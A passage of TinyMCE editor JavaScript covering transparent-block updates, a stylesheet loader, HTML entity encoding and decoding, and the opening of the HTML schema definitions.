      if (isNonNullable(transparent.querySelector(blocksSelector))) {
        transparent.setAttribute(transparentBlockAttr, 'true');
        if (transparent.getAttribute('data-mce-selected') === 'inline-boundary') {
          transparent.removeAttribute('data-mce-selected');
        }
        return true;
      } else {
        transparent.removeAttribute(transparentBlockAttr);
        return false;
      }
    };
    const updateBlockStateOnChildren = (schema, scope) => {
      const transparentSelector = makeSelectorFromSchemaMap(schema.getTransparentElements());
      const blocksSelector = makeSelectorFromSchemaMap(schema.getBlockElements());
      return filter$5(scope.querySelectorAll(transparentSelector), transparent => updateTransparent(blocksSelector, transparent));
    };
    const trimEdge = (el, leftSide) => {
      var _a;
      const childPropertyName = leftSide ? 'lastChild' : 'firstChild';
      for (let child = el[childPropertyName]; child; child = child[childPropertyName]) {
        if (isEmpty$2(SugarElement.fromDom(child))) {
          (_a = child.parentNode) === null || _a === void 0 ? void 0 : _a.removeChild(child);
          return;
        }
      }
    };
    const split$2 = (parentElm, splitElm) => {
      const range = document.createRange();
      const parentNode = parentElm.parentNode;
      if (parentNode) {
        range.setStartBefore(parentElm);
        range.setEndBefore(splitElm);
        const beforeFragment = range.extractContents();
        trimEdge(beforeFragment, true);
        range.setStartAfter(splitElm);
        range.setEndAfter(parentElm);
        const afterFragment = range.extractContents();
        trimEdge(afterFragment, false);
        if (!isEmpty$2(SugarElement.fromDom(beforeFragment))) {
          parentNode.insertBefore(beforeFragment, parentElm);
        }
        if (!isEmpty$2(SugarElement.fromDom(splitElm))) {
          parentNode.insertBefore(splitElm, parentElm);
        }
        if (!isEmpty$2(SugarElement.fromDom(afterFragment))) {
          parentNode.insertBefore(afterFragment, parentElm);
        }
        parentNode.removeChild(parentElm);
      }
    };
    const splitInvalidChildren = (schema, scope, transparentBlocks) => {
      const blocksElements = schema.getBlockElements();
      const rootNode = SugarElement.fromDom(scope);
      const isBlock = el => name(el) in blocksElements;
      const isRoot = el => eq(el, rootNode);
      each$e(fromDom$1(transparentBlocks), transparentBlock => {
        ancestor$3(transparentBlock, isBlock, isRoot).each(parentBlock => {
          const invalidChildren = children(transparentBlock, el => isBlock(el) && !schema.isValidChild(name(parentBlock), name(el)));
          if (invalidChildren.length > 0) {
            const stateScope = parentElement(parentBlock);
            each$e(invalidChildren, child => {
              ancestor$3(child, isBlock, isRoot).each(parentBlock => {
                split$2(parentBlock.dom, child.dom);
              });
            });
            stateScope.each(scope => updateBlockStateOnChildren(schema, scope.dom));
          }
        });
      });
    };
    const updateChildren = (schema, scope) => {
      const transparentBlocks = updateBlockStateOnChildren(schema, scope);
      splitInvalidChildren(schema, scope, transparentBlocks);
    };
    const updateElement = (schema, target) => {
      if (isTransparentElement(schema, target)) {
        const blocksSelector = makeSelectorFromSchemaMap(schema.getBlockElements());
        updateTransparent(blocksSelector, target);
      }
    };
    const updateCaret = (schema, root, caretParent) => {
      const isRoot = el => eq(el, SugarElement.fromDom(root));
      const parents = parents$1(SugarElement.fromDom(caretParent), isRoot);
      get$b(parents, parents.length - 2).filter(isElement$7).fold(() => updateChildren(schema, root), scope => updateChildren(schema, scope.dom));
    };
    const hasBlockAttr = el => el.hasAttribute(transparentBlockAttr);
    const isTransparentElementName = (schema, name) => has$2(schema.getTransparentElements(), name);
    const isTransparentElement = (schema, node) => isElement$6(node) && isTransparentElementName(schema, node.nodeName);
    const isTransparentBlock = (schema, node) => isTransparentElement(schema, node) && hasBlockAttr(node);
    const isTransparentAstBlock = (schema, node) => node.type === 1 && isTransparentElementName(schema, node.name) && isString(node.attr(transparentBlockAttr));
    const isTransparentAstInline = (schema, node) => node.type === 1 && isTransparentElementName(schema, node.name) && isUndefined(node.attr(transparentBlockAttr));

    const browser = detect$2().browser;
    const firstElement = nodes => find$2(nodes, isElement$7);
    const getTableCaptionDeltaY = elm => {
      if (browser.isFirefox() && name(elm) === 'table') {
        return firstElement(children$1(elm)).filter(elm => {
          return name(elm) === 'caption';
        }).bind(caption => {
          return firstElement(nextSiblings(caption)).map(body => {
            const bodyTop = body.dom.offsetTop;
            const captionTop = caption.dom.offsetTop;
            const captionHeight = caption.dom.offsetHeight;
            return bodyTop <= captionTop ? -captionHeight : 0;
          });
        }).getOr(0);
      } else {
        return 0;
      }
    };
    const hasChild = (elm, child) => elm.children && contains$2(elm.children, child);
    const getPos = (body, elm, rootElm) => {
      let x = 0, y = 0;
      const doc = body.ownerDocument;
      rootElm = rootElm ? rootElm : body;
      if (elm) {
        if (rootElm === body && elm.getBoundingClientRect && get$7(SugarElement.fromDom(body), 'position') === 'static') {
          const pos = elm.getBoundingClientRect();
          x = pos.left + (doc.documentElement.scrollLeft || body.scrollLeft) - doc.documentElement.clientLeft;
          y = pos.top + (doc.documentElement.scrollTop || body.scrollTop) - doc.documentElement.clientTop;
          return {
            x,
            y
          };
        }
        let offsetParent = elm;
        while (offsetParent && offsetParent !== rootElm && offsetParent.nodeType && !hasChild(offsetParent, rootElm)) {
          const castOffsetParent = offsetParent;
          x += castOffsetParent.offsetLeft || 0;
          y += castOffsetParent.offsetTop || 0;
          offsetParent = castOffsetParent.offsetParent;
        }
        offsetParent = elm.parentNode;
        while (offsetParent && offsetParent !== rootElm && offsetParent.nodeType && !hasChild(offsetParent, rootElm)) {
          x -= offsetParent.scrollLeft || 0;
          y -= offsetParent.scrollTop || 0;
          offsetParent = offsetParent.parentNode;
        }
        y += getTableCaptionDeltaY(SugarElement.fromDom(elm));
      }
      return {
        x,
        y
      };
    };

    const StyleSheetLoader = (documentOrShadowRoot, settings = {}) => {
      let idCount = 0;
      const loadedStates = {};
      const edos = SugarElement.fromDom(documentOrShadowRoot);
      const doc = documentOrOwner(edos);
      const maxLoadTime = settings.maxLoadTime || 5000;
      const _setReferrerPolicy = referrerPolicy => {
        settings.referrerPolicy = referrerPolicy;
      };
      const _setContentCssCors = contentCssCors => {
        settings.contentCssCors = contentCssCors;
      };
      const addStyle = element => {
        append$1(getStyleContainer(edos), element);
      };
      const removeStyle = id => {
        const styleContainer = getStyleContainer(edos);
        descendant(styleContainer, '#' + id).each(remove$6);
      };
      const getOrCreateState = url => get$a(loadedStates, url).getOrThunk(() => ({
        id: 'mce-u' + idCount++,
        passed: [],
        failed: [],
        count: 0
      }));
      const load = url => new Promise((success, failure) => {
        let link;
        const urlWithSuffix = Tools._addCacheSuffix(url);
        const state = getOrCreateState(urlWithSuffix);
        loadedStates[urlWithSuffix] = state;
        state.count++;
        const resolve = (callbacks, status) => {
          each$e(callbacks, call);
          state.status = status;
          state.passed = [];
          state.failed = [];
          if (link) {
            link.onload = null;
            link.onerror = null;
            link = null;
          }
        };
        const passed = () => resolve(state.passed, 2);
        const failed = () => resolve(state.failed, 3);
        const wait = (testCallback, waitCallback) => {
          if (!testCallback()) {
            if (Date.now() - startTime < maxLoadTime) {
              setTimeout(waitCallback);
            } else {
              failed();
            }
          }
        };
        const waitForWebKitLinkLoaded = () => {
          wait(() => {
            const styleSheets = documentOrShadowRoot.styleSheets;
            let i = styleSheets.length;
            while (i--) {
              const styleSheet = styleSheets[i];
              const owner = styleSheet.ownerNode;
              if (owner && link && owner.id === link.id) {
                passed();
                return true;
              }
            }
            return false;
          }, waitForWebKitLinkLoaded);
        };
        if (success) {
          state.passed.push(success);
        }
        if (failure) {
          state.failed.push(failure);
        }
        if (state.status === 1) {
          return;
        }
        if (state.status === 2) {
          passed();
          return;
        }
        if (state.status === 3) {
          failed();
          return;
        }
        state.status = 1;
        const linkElem = SugarElement.fromTag('link', doc.dom);
        setAll$1(linkElem, {
          rel: 'stylesheet',
          type: 'text/css',
          id: state.id
        });
        const startTime = Date.now();
        if (settings.contentCssCors) {
          set$2(linkElem, 'crossOrigin', 'anonymous');
        }
        if (settings.referrerPolicy) {
          set$2(linkElem, 'referrerpolicy', settings.referrerPolicy);
        }
        link = linkElem.dom;
        link.onload = waitForWebKitLinkLoaded;
        link.onerror = failed;
        addStyle(linkElem);
        set$2(linkElem, 'href', urlWithSuffix);
      });
      const loadAll = urls => {
        const loadedUrls = Promise.allSettled(map$3(urls, url => load(url).then(constant(url))));
        return loadedUrls.then(results => {
          const parts = partition$2(results, r => r.status === 'fulfilled');
          if (parts.fail.length > 0) {
            return Promise.reject(map$3(parts.fail, result => result.reason));
          } else {
            return map$3(parts.pass, result => result.value);
          }
        });
      };
      const unload = url => {
        const urlWithSuffix = Tools._addCacheSuffix(url);
        get$a(loadedStates, urlWithSuffix).each(state => {
          const count = --state.count;
          if (count === 0) {
            delete loadedStates[urlWithSuffix];
            removeStyle(state.id);
          }
        });
      };
      const unloadAll = urls => {
        each$e(urls, url => {
          unload(url);
        });
      };
      return {
        load,
        loadAll,
        unload,
        unloadAll,
        _setReferrerPolicy,
        _setContentCssCors
      };
    };

    const create$d = () => {
      const map = new WeakMap();
      const forElement = (referenceElement, settings) => {
        const root = getRootNode(referenceElement);
        const rootDom = root.dom;
        return Optional.from(map.get(rootDom)).getOrThunk(() => {
          const sl = StyleSheetLoader(rootDom, settings);
          map.set(rootDom, sl);
          return sl;
        });
      };
      return { forElement };
    };
    const instance = create$d();

    const isSpan = node => node.nodeName.toLowerCase() === 'span';
    const isInlineContent = (node, root) => isNonNullable(node) && (isContent$1(node, root) || isInline$1(SugarElement.fromDom(node)));
    const surroundedByInlineContent = (node, root) => {
      const prev = new DomTreeWalker(node, root).prev(false);
      const next = new DomTreeWalker(node, root).next(false);
      const prevIsInline = isUndefined(prev) || isInlineContent(prev, root);
      const nextIsInline = isUndefined(next) || isInlineContent(next, root);
      return prevIsInline && nextIsInline;
    };
    const isBookmarkNode$2 = node => isSpan(node) && node.getAttribute('data-mce-type') === 'bookmark';
    const isKeepTextNode = (node, root) => isText$a(node) && node.data.length > 0 && surroundedByInlineContent(node, root);
    const isKeepElement = node => isElement$6(node) ? node.childNodes.length > 0 : false;
    const isDocument = node => isDocumentFragment(node) || isDocument$1(node);
    const trimNode = (dom, node, root) => {
      var _a;
      const rootNode = root || node;
      if (isElement$6(node) && isBookmarkNode$2(node)) {
        return node;
      }
      const children = node.childNodes;
      for (let i = children.length - 1; i >= 0; i--) {
        trimNode(dom, children[i], rootNode);
      }
      if (isElement$6(node)) {
        const currentChildren = node.childNodes;
        if (currentChildren.length === 1 && isBookmarkNode$2(currentChildren[0])) {
          (_a = node.parentNode) === null || _a === void 0 ? void 0 : _a.insertBefore(currentChildren[0], node);
        }
      }
      if (!isDocument(node) && !isContent$1(node, rootNode) && !isKeepElement(node) && !isKeepTextNode(node, rootNode)) {
        dom.remove(node);
      }
      return node;
    };

    const makeMap$3 = Tools.makeMap;
    const attrsCharsRegExp = /[&<>\"\u0060\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
    const textCharsRegExp = /[<>&\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
    const rawCharsRegExp = /[<>&\"\']/g;
    const entityRegExp = /&#([a-z0-9]+);?|&([a-z0-9]+);/gi;
    const asciiMap = {
      128: '\u20AC',
      130: '\u201A',
      131: '\u0192',
      132: '\u201E',
      133: '\u2026',
      134: '\u2020',
      135: '\u2021',
      136: '\u02c6',
      137: '\u2030',
      138: '\u0160',
      139: '\u2039',
      140: '\u0152',
      142: '\u017d',
      145: '\u2018',
      146: '\u2019',
      147: '\u201C',
      148: '\u201D',
      149: '\u2022',
      150: '\u2013',
      151: '\u2014',
      152: '\u02DC',
      153: '\u2122',
      154: '\u0161',
      155: '\u203A',
      156: '\u0153',
      158: '\u017e',
      159: '\u0178'
    };
    const baseEntities = {
      '"': '&quot;',
      '\'': '&#39;',
      '<': '&lt;',
      '>': '&gt;',
      '&': '&amp;',
      '`': '&#96;'
    };
    const reverseEntities = {
      '&lt;': '<',
      '&gt;': '>',
      '&amp;': '&',
      '&quot;': '"',
      '&apos;': `'`
    };
    const nativeDecode = text => {
      const elm = SugarElement.fromTag('div').dom;
      elm.innerHTML = text;
      return elm.textContent || elm.innerText || text;
    };
    const buildEntitiesLookup = (items, radix) => {
      const lookup = {};
      if (items) {
        const itemList = items.split(',');
        radix = radix || 10;
        for (let i = 0; i < itemList.length; i += 2) {
          const chr = String.fromCharCode(parseInt(itemList[i], radix));
          if (!baseEntities[chr]) {
            const entity = '&' + itemList[i + 1] + ';';
            lookup[chr] = entity;
            lookup[entity] = chr;
          }
        }
        return lookup;
      } else {
        return undefined;
      }
    };
    const namedEntities = buildEntitiesLookup('50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,' + '5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,' + '5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,' + '5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,' + '68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,' + '6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,' + '6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,' + '75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,' + '7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,' + '7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,' + 'sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,' + 'st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t6,Phi,t7,Chi,t8,Psi,' + 't9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,' + 'tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,' + 'u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,' + '81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,' + '8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,' + '8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,' + '8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,' + '8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,' + 'nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,' + 'rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,' + 'Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,' + '80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,' + '811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro', 32);
    const encodeRaw = (text, attr) => text.replace(attr ? attrsCharsRegExp : textCharsRegExp, chr => {
      return baseEntities[chr] || chr;
    });
    const encodeAllRaw = text => ('' + text).replace(rawCharsRegExp, chr => {
      return baseEntities[chr] || chr;
    });
    const encodeNumeric = (text, attr) => text.replace(attr ? attrsCharsRegExp : textCharsRegExp, chr => {
      if (chr.length > 1) {
        return '&#' + ((chr.charCodeAt(0) - 55296) * 1024 + (chr.charCodeAt(1) - 56320) + 65536) + ';';
      }
      return baseEntities[chr] || '&#' + chr.charCodeAt(0) + ';';
    });
    const encodeNamed = (text, attr, entities) => {
      const resolveEntities = entities || namedEntities;
      return text.replace(attr ? attrsCharsRegExp : textCharsRegExp, chr => {
        return baseEntities[chr] || resolveEntities[chr] || chr;
      });
    };
    const getEncodeFunc = (name, entities) => {
      const entitiesMap = buildEntitiesLookup(entities) || namedEntities;
      const encodeNamedAndNumeric = (text, attr) => text.replace(attr ? attrsCharsRegExp : textCharsRegExp, chr => {
        if (baseEntities[chr] !== undefined) {
          return baseEntities[chr];
        }
        if (entitiesMap[chr] !== undefined) {
          return entitiesMap[chr];
        }
        if (chr.length > 1) {
          return '&#' + ((chr.charCodeAt(0) - 55296) * 1024 + (chr.charCodeAt(1) - 56320) + 65536) + ';';
        }
        return '&#' + chr.charCodeAt(0) + ';';
      });
      const encodeCustomNamed = (text, attr) => {
        return encodeNamed(text, attr, entitiesMap);
      };
      const nameMap = makeMap$3(name.replace(/\+/g, ','));
      if (nameMap.named && nameMap.numeric) {
        return encodeNamedAndNumeric;
      }
      if (nameMap.named) {
        if (entities) {
          return encodeCustomNamed;
        }
        return encodeNamed;
      }
      if (nameMap.numeric) {
        return encodeNumeric;
      }
      return encodeRaw;
    };
    const decode = text => text.replace(entityRegExp, (all, numeric) => {
      if (numeric) {
        if (numeric.charAt(0).toLowerCase() === 'x') {
          numeric = parseInt(numeric.substr(1), 16);
        } else {
          numeric = parseInt(numeric, 10);
        }
        if (numeric > 65535) {
          numeric -= 65536;
          return String.fromCharCode(55296 + (numeric >> 10), 56320 + (numeric & 1023));
        }
        return asciiMap[numeric] || String.fromCharCode(numeric);
      }
      return reverseEntities[all] || namedEntities[all] || nativeDecode(all);
    });
    const Entities = {
      encodeRaw,
      encodeAllRaw,
      encodeNumeric,
      encodeNamed,
      getEncodeFunc,
      decode
    };

    const lookupCache = {};
    const mapCache = {};
    const dummyObj = {};
    const makeMap$2 = Tools.makeMap, each$b = Tools.each, extend$2 = Tools.extend, explode$2 = Tools.explode, inArray = Tools.inArray;
    const split$1 = (items, delim) => {
      items = Tools.trim(items);
      return items ? items.split(delim || ' ') : [];
    };
    const createMap = (defaultValue, extendWith = {}) => {
      const value = makeMap$2(defaultValue, ' ', makeMap$2(defaultValue.toUpperCase(), ' '));
      return extend$2(value, extendWith);
    };
    const getTextRootBlockElements = schema => createMap('td th li dt dd figcaption caption details summary', schema.getTextBlockElements());
    const compileSchema = type => {
      const schema = {};
      let globalAttributes, blockContent;
      let phrasingContent, flowContent;
      const add = (name, attributes = '', children = '') => {
        const childNames = split$1(children);
        const names = split$1(name);
        let ni = names.length;
        while (ni--) {
          const attributesOrder = split$1([
            globalAttributes,
            attributes
          ].join(' '));
          schema[names[ni]] = {
            attributes: mapToObject(attributesOrder, () => ({})),
            attributesOrder,
            children: mapToObject(childNames, constant(dummyObj))
          };
        }
      };
      const addAttrs = (name, attributes) => {
        const names = split$1(name);
        const attrs = split$1(attributes);
        let ni = names.length;
        while (ni--) {
          const schemaItem = schema[names[ni]];
          for (let i = 0, l = attrs.length; i < l; i++) {
            schemaItem.attributes[attrs[i]] = {};
            schemaItem.attributesOrder.push(attrs[i]);
          }
        }
      };
      if (lookupCache[type]) {
        return lookupCache[type];
      }
      globalAttributes = 'id accesskey class dir lang style tabindex title role';
      blockContent = 'address blockquote div dl fieldset form h1 h2 h3 h4 h5 h6 hr menu ol p pre table ul';
      phrasingContent = 'a abbr b bdo br button cite code del dfn em embed i iframe img input ins kbd ' + 'label map noscript object q s samp script select small span strong sub sup ' + 'textarea u var #text #comment';
      if (type !== 'html4') {
        const transparentContent = 'a ins del canvas map';
        globalAttributes += ' contenteditable contextmenu draggable dropzone ' + 'hidden spellcheck translate';
        blockContent += ' article aside details dialog figure main header footer hgroup section nav ' + transparentContent;
        phrasingContent += ' audio canvas command datalist mark meter output picture ' + 'progress time wbr video ruby bdi keygen';
      }
      if (type !== 'html5-strict') {
        globalAttributes += ' xml:lang';
        const html4PhrasingContent = 'acronym applet basefont big font strike tt';
        phrasingContent = [
          phrasingContent,
          html4PhrasingContent
        ].join(' ');
        each$b(split$1(html4PhrasingContent), name => {
          add(name, '', phrasingContent);
        });
        const html4BlockContent = 'center dir isindex noframes';
        blockContent = [
          blockContent,
          html4BlockContent
        ].join(' ');
        flowContent = [
          blockContent,
          phrasingContent
        ].join(' ');
        each$b(split$1(html4BlockContent), name => {
          add(name, '', flowContent);
        });
      }
      flowContent = flowContent || [
        blockContent,
        phrasingContent
      ].join(' ');
      add('html', 'manifest', 'head body');
      add('head', '', 'base command link meta noscript script style title');
      add('title hr noscript br');
      add('base', 'href target');
      add('link', 'href rel media hreflang type sizes hreflang');
      add('meta', 'name http-equiv content charset');
      add('style', 'media type scoped');
      add('script', 'src async defer type charset');
      add('body', 'onafterprint onbeforeprint onbeforeunload onblur onerror onfocus ' + 'onhashchange onload onmessage onoffline ononline onpagehide onpageshow ' + 'onpopstate onresize onscroll onstorage onunload', flowContent);
      add('address dt dd div caption', '', flowContent);
      add('h1 h2 h3 h4 h5 h6 pre p abbr code var samp kbd sub sup i b u bdo span legend em strong small s cite dfn', '', phrasingContent);
      add('blockquote', 'cite', flowContent);
      add('ol', 'reversed start type', 'li');
      add('ul', '', 'li');
      add('li', 'value', flowContent);
      add('dl', '', 'dt dd');
      add('a', 'href target rel media hreflang type', flowContent);
      add('q', 'cite', phrasingContent);
      add('ins del', 'cite datetime', flowContent);
      add('img', 'src sizes srcset alt usemap ismap width height');
      add('iframe', 'src name width height', flowContent);
      add('embed', 'src type width height');
      add('object', 'data type typemustmatch name usemap form width height', [
        flowContent,
        'param'
      ].join(' '));
      add('param', 'name value');
      add('map', 'name', [
        flowContent,
        'area'
      ].join(' '));
      add('area', 'alt coords shape href target rel media hreflang type');
      add('table', 'border', 'caption colgroup thead tfoot tbody tr' + (type === 'html4' ? ' col' : ''));
      add('colgroup', 'span', 'col');
      add('col', 'span');
      add('tbody thead tfoot', '', 'tr');
      add('tr', '', 'td th');
      add('td', 'colspan rowspan headers', flowContent);
      add('th', 'colspan rowspan headers scope abbr', flowContent);
      add('form', 'accept-charset action autocomplete enctype method name novalidate target', flowContent);
      add('fieldset', 'disabled form name', [
        flowContent,
        'legend'
      ].join(' '));
      add('label', 'form for', phrasingContent);
      add('input', 'accept alt autocomplete checked dirname disabled form formaction formenctype formmethod formnovalidate ' + 'formtarget height list max maxlength min multiple name pattern readonly required size src step type value width');
      add('button', 'disabled form formaction formenctype formmethod formnovalidate formtarget name type value', type === 'html4' ? flowContent : phrasingContent);
      add('select', 'disabled form multiple name required size', 'option optgroup');
      add('optgroup', 'disabled label', 'option');
      add('option', 'disabled label selected value');
      add('textarea', 'cols dirname disabled form maxlength name readonly required rows wrap');
      add('menu', 'type label', [
        flowContent,
        'li'
      ].join(' '));
      add('noscript', '', flowContent);
      if (type !== 'html4') {
        add('wbr');
        add('ruby', '', [
          phrasingContent,
          'rt rp'
        ].join(' '));
        add('figcaption', '', flowContent);
        add('mark rt rp summary bdi', '', phrasingContent);
        add('canvas', 'width height', flowContent);
        add('video', 'src crossorigin poster preload autoplay mediagroup loop ' + 'muted controls width height buffered', [
          flowContent,
          'track source'
        ].join(' '));
        add('audio', 'src crossorigin preload autoplay mediagroup loop muted controls ' + 'buffered volume', [
          flowContent,
          'track source'
        ].join(' '));
        add('picture', '', 'img source');
        add('source', 'src srcset type media sizes');
        add('track', 'kind src srclang label default');
        add('datalist', '', [
          phrasingContent,
          'option'
        ].join(' '));
        add('article section nav aside main header footer', '', flowContent);
        add('hgroup', '', 'h1 h2 h3 h4 h5 h6');
        add('figure', '', [
          flowContent,
          'figcaption'
        ].join(' '));
        add('time', 'datetime', phrasingContent);
        add('dialog', 'open', flowContent);
        add('command', 'type label icon disabled checked radiogroup command');
        add('output', 'for form name', phrasingContent);
        add('progress', 'value max', phrasingContent);
        add('meter', 'value min max low high optimum', phrasingContent);
        add('details', 'open', [
          flowContent,
          'summary'
        ].join(' '));
        add('keygen', 'autofocus challenge disabled form keytype name');
      }
      if (type !== 'html5-strict') {
        addAttrs('script', 'language xml:space');
        addAttrs('style', 'xml:space');
        addAttrs('object', 'declare classid code codebase codetype archive standby align border hspace vspace');
        addAttrs('embed', 'align name hspace vspace');
        addAttrs('param', 'valuetype type');
        addAttrs('a', 'charset name rev shape coords');
        addAttrs('br', 'clear');
        addAttrs('applet', 'codebase archive code object alt name width height align hspace vspace');
        addAttrs('img', 'name longdesc align border hspace vspace');
        addAttrs('iframe', 'longdesc frameborder marginwidth marginheight scrolling align');
        addAttrs('font basefont', 'size color face');
        addAttrs('input', 'usemap align');
        addAttrs('select');
        addAttrs('textarea');
        addAttrs('h1 h2 h3 h4 h5 h6 div p legend caption', 'align');
        addAttrs('ul', 'type compact');
        addAttrs('li', 'type');
        addAttrs('ol dl menu dir', 'compact');
        addAttrs('pre', 'width xml:space');
        addAttrs('hr', 'align noshade size width');
        addAttrs('isindex', 'prompt');
        addAttrs('table', 'summary width frame rules cellspacing cellpadding align bgcolor');
        addAttrs('col', 'width align char charoff valign');
        addAttrs('colgroup', 'width align char charoff valign');
        addAttrs('thead', 'align char charoff valign');
        addAttrs('tr', 'align char charoff valign bgcolor');
        addAttrs('th', 'axis align char charoff valign nowrap bgcolor width height');
        addAttrs('form', 'accept');
        addAttrs('td', 'abbr axis scope align char charoff valign nowrap bgcolor width height');
        addAttrs('tfoot', 'align char charoff valign');
        addAttrs('tbody', 'align char charoff valign');
        addAttrs('area', 'nohref');
        addAttrs('body', 'background bgcolor text link vlink alink');
      }
      if (type !== 'html4') {
        addAttrs('input button select textarea', 'autofocus');
        addAttrs('input textarea', 'placeholder');
        addAttrs('a', 'download');
        addAttrs('link script img', 'crossorigin');
        addAttrs('img', 'loading');
        addAttrs('iframe', 'sandbox seamless allow allowfullscreen loading');
      }
      if (type !== 'html4') {
        each$e([
          schema.video,
          schema.audio
        ], item => {
          delete item.children.audio;
          delete item.children.video;
        });
      }
      each$b(split$1('a form meter progress dfn'), name => {
        if (schema[name]) {
          delete schema[name].children[name];
        }
      });
      delete schema.caption.children.table;
      delete schema.script;
      lookupCache[type] = schema;
      return schema;
    };
    const compileElementMap = (value, mode) => {
      if (value) {
        const styles = {};
        if (isString(value)) {
          value = { '*': value };
        }
        each$b(value, (value, key) => {
          styles[key] = styles[key.toUpperCase()] = mode === 'map' ? makeMap$2(value, /[, ]/) : explode$2(value, /[, ]/);
        });
        return styles;
      } else {
        return undefined;
      }
    };
    const Schema = (settings = {}) => {
      var _a;
      const elements = {};
      const children = {};
      let patternElements = [];
      const customElementsMap = {};
      const specialElements = {};
      const createLookupTable = (option, defaultValue, extendWith) => {
        const value = settings[option];
        if (!value) {
          let newValue = mapCache[option];
          if (!newValue) {
            newValue = createMap(defaultValue, extendWith);
            mapCache[option] = newValue;
          }
          return newValue;
        } else {
          return makeMap$2(value, /[, ]/, makeMap$2(value.toUpperCase(), /[, ]/));
        }
      };
      const schemaType = (_a = settings.schema) !== null && _a !== void 0 ? _a : 'html5';
      const schemaItems = compileSchema(schemaType);
      if (settings.verify_html === false) {
        settings.valid_elements = '*[*]';
      }
      const validStyles = compileElementMap(settings.valid_styles);
      const invalidStyles = compileElementMap(settings.invalid_styles, 'map');
      const validClasses = compileElementMap(settings.valid_classes, 'map');
      const whitespaceElementsMap = createLookupTable('whitespace_elements', 'pre script noscript style textarea video audio iframe object code');
      const selfClosingElementsMap = createLookupTable('self_closing_elements', 'colgroup dd dt li option p td tfoot th thead tr');
      const voidElementsMap = createLookupTable('void_elements', 'area base basefont br col frame hr img input isindex link ' + 'meta param embed source wbr track');
      const boolAttrMap = createLookupTable('boolean_attributes', 'checked compact declare defer disabled ismap multiple nohref noresize ' + 'noshade nowrap readonly selected autoplay loop controls allowfullscreen');
      const nonEmptyOrMoveCaretBeforeOnEnter = 'td th iframe video audio object script code';
      const nonEmptyElementsMap = createLookupTable('non_empty_elements', nonEmptyOrMoveCaretBeforeOnEnter + ' pre', voidElementsMap);
      const moveCaretBeforeOnEnterElementsMap = createLookupTable('move_caret_before_on_enter_elements', nonEmptyOrMoveCaretBeforeOnEnter + ' table', voidElementsMap);
      const textBlockElementsMap = createLookupTable('text_block_elements', 'h1 h2 h3 h4 h5 h6 p div address pre form ' + 'blockquote center dir fieldset header footer article section hgroup aside main nav figure');
      const blockElementsMap = createLookupTable('block_elements', 'hr table tbody thead tfoot ' + 'th tr td li ol ul caption dl dt dd noscript menu isindex option ' + 'datalist select optgroup figcaption details summary', textBlockElementsMap);
      const textInlineElementsMap = createLookupTable('text_inline_elements', 'span strong b em i font s strike u var cite ' + 'dfn code mark q sup sub samp');
      const transparentElementsMap = createLookupTable('transparent_elements', 'a ins del canvas map');
      each$b('script noscript iframe noframes noembed title style textarea xmp plaintext'.split(' '), name => {
        specialElements[name] = new RegExp('</' + name + '[^>]*>', 'gi');
      });
      const patternToRegExp = str => new RegExp('^' + str.replace(/([?+*])/g, '.$1') + '$');
      const addValidElements = validElements => {
        const elementRuleRegExp = /^([#+\-])?([^\[!\/]+)(?:\/([^\[!]+))?(?:(!?)\[([^\]]+)])?$/;
